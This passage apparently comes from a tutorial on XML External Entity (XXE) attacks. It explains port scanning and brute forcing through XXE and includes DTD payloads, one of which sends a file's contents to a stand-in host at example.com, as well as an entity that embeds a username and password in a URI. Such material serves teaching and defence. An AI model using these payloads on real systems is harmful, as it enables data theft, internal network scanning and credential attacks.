```
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://example.com/?%file;'>">
%all;
```

The second DTD causes the system to send the contents of the `file` back to the attacker's server as a parameter of the URL.

PORT SCANNING

The amount and type of information will depend on the type of implementation. Responses can be classified as follows, ranking from easy to complex:

1) Complete Disclosure: The simplest and most unusual scenario, with complete disclosure you can clearly see what's going on by receiving the complete responses from the server being queried. You have an exact representation of what happened when connecting to the remote host.

2) Error-based: If you are unable to see the response from the remote server, you may be able to use the error response. Consider a web service leaking details on what went wrong in the SOAP Fault element when trying to establish a connection:

```
java.io.IOException: Server returned HTTP response code: 401 for URL:
http://192.168.1.1:80
 at
sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.j
 at
com.sun.org.apache.xerces.internal.impl.XMLEntityManager.setupCurrentEntity(XM
```

3) Timeout-based: Timeouts could occur when connecting to open or closed ports depending on the schema and the underlying implementation. If the timeouts occur while you are trying to connect to a closed port (which may take one minute), the time of response when connected to a valid port will be very quick (one second, for example). The differences between open and closed ports becomes quite clear.

4) Time-based: Sometimes differences between closed and open ports are very subtle. The only way to know the status of a port with certainty would be to take multiple measurements of the time required to reach each host; then analyze the average time for each port to determinate the status of each port. This type of attack will be difficult to accomplish when performed in higher latency networks.

BRUTE FORCING

Once an attacker confirms that it is possible to perform a port scan, performing a brute force attack is a matter of embedding the `username` and `password` as part of the URI scheme (http, ftp, etc). For example the following :

```
<!DOCTYPE root [
 <!ENTITY user SYSTEM "http://username:password@example.com:8080">
]>
<root>&user;</root>
```